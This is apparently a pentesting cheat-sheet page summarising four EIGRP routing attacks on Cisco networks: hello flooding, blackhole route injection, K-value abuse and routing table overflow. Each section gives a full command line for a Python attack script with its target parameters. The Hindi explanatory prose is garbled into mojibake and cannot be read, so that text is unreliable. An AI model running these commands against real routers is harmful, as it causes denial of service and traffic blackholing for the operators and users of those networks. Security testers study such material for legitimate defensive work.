EIGRP Attacks
рдпрд╣ https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдЧрдП рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред
рдлреЗрдХ EIGRP рдкрдбрд╝реЛрд╕рд┐рдпреЛрдВ рд╣рдорд▓рд╛
рдЙрджреНрджреЗрд╢реНрдп: EIGRP рд╣реИрд▓реЛ рдкреИрдХреЗрдЯреНрд╕ рд╕реЗ рд░рд╛рдЙрдЯрд░ CPU рдХреЛ рдУрд╡рд░рд▓реЛрдб рдХрд░рдирд╛, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдбрд┐рдирд╛рдпрд▓ рдСрдл рд╕рд░реНрд╡рд┐рд╕ (DoS) рд╣рдорд▓рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЙрдкрдХрд░рдг: helloflooding.py рд╕реНрдХреНрд░рд┐рдкреНрдЯред
рдЕрдорд▓: %%%bash ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 %%%
рдкреИрд░рд╛рдореАрдЯрд░:
--interface
: рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ,eth0
ред--as
: EIGRP рд╕реНрд╡рддрдВрддреНрд░ рд╕рд┐рд╕реНрдЯрдо рдирдВрдмрд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ,1
ред--subnet
: рд╕рдмрдиреЗрдЯ рд╕реНрдерд╛рди рдХреЛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ,10.10.100.0/24
ред
EIGRP рдмреНрд▓реИрдХрд╣реЛрд▓ рд╣рдорд▓рд╛
рдЙрджреНрджреЗрд╢реНрдп: рдПрдХ рдЧрд▓рдд рд░реВрдЯ рдбрд╛рд▓рдХрд░ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдлреНрд▓реЛ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдирд╛, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдмреНрд▓реИрдХрд╣реЛрд▓ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЯреНрд░реИрдлрд┐рдХ рдПрдХ рдЕрд╕реНрддрд┐рддреНрд╡рд╣реАрди рдЧрдВрддрд╡реНрдп рдХреА рдУрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИред
рдЙрдкрдХрд░рдг: routeinject.py рд╕реНрдХреНрд░рд┐рдкреНрдЯред
рдЕрдорд▓: %%%bash ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 %%%
рдкреИрд░рд╛рдореАрдЯрд░:
--interface
: рд╣рдорд▓рд╛рд╡рд░ рд╕рд┐рд╕реНрдЯрдо рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред--as
: EIGRP AS рдирдВрдмрд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред--src
: рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ IP рдкрддрд╛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред--dst
: рд▓рдХреНрд╖реНрдп рд╕рдмрдиреЗрдЯ IP рдХреЛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред--prefix
: рд▓рдХреНрд╖реНрдп рд╕рдмрдиреЗрдЯ IP рдХрд╛ рдорд╛рд╕реНрдХ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
K-рдорд╛рдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рд╣рдорд▓рд╛
рдЙрджреНрджреЗрд╢реНрдп: рд╕рдВрд╢реЛрдзрд┐рдд K-рдорд╛рдиреЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ EIGRP рдбреЛрдореЗрди рдореЗрдВ рдирд┐рд░рдВрддрд░ рд╡рд┐рдШрдЯрди рдФрд░ рдкреБрдирд░реНрд╕рдВрдпреЛрдЬрдирд╛рдПрдВ рдмрдирд╛рдирд╛, рдЬрд┐рд╕рд╕реЗ рдПрдХ DoS рд╣рдорд▓рд╛ рд╣реЛред
рдЙрдкрдХрд░рдг: relationshipnightmare.py рд╕реНрдХреНрд░рд┐рдкреНрдЯред
рдЕрдорд▓: %%%bash ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 %%%
рдкреИрд░рд╛рдореАрдЯрд░:
--interface
: рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред--as
: EIGRP AS рдирдВрдмрд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред--src
: рд╡реИрдз рд░рд╛рдЙрдЯрд░ рдХрд╛ IP рдкрддрд╛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
рд░реВрдЯрд┐рдВрдЧ рддрд╛рд▓рд┐рдХрд╛ рдУрд╡рд░рдлреНрд▓реЛ рд╣рдорд▓рд╛
рдЙрджреНрджреЗрд╢реНрдп: рдирдХрд▓реА рд░реВрдЯреЛрдВ рдХреЗ рд╕рд╛рде рд░реВрдЯрд░ рдХрд╛ CPU рдФрд░ RAM рдХреЛ рддрдирд╛рд╡ рджреЗрдирд╛ред
рдЙрдкрдХрд░рдг: routingtableoverflow.py рд╕реНрдХреНрд░рд┐рдкреНрдЯред
рдЕрдорд▓: %%%bash sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 %%%
рдкреИрд░рд╛рдореАрдЯрд░:
--interface
: рдиреЗрдЯрд╡рд░реНрдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред--as
: EIGRP AS рдирдВрдмрд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред--src
: рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ IP рдкрддрд╛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
Last updated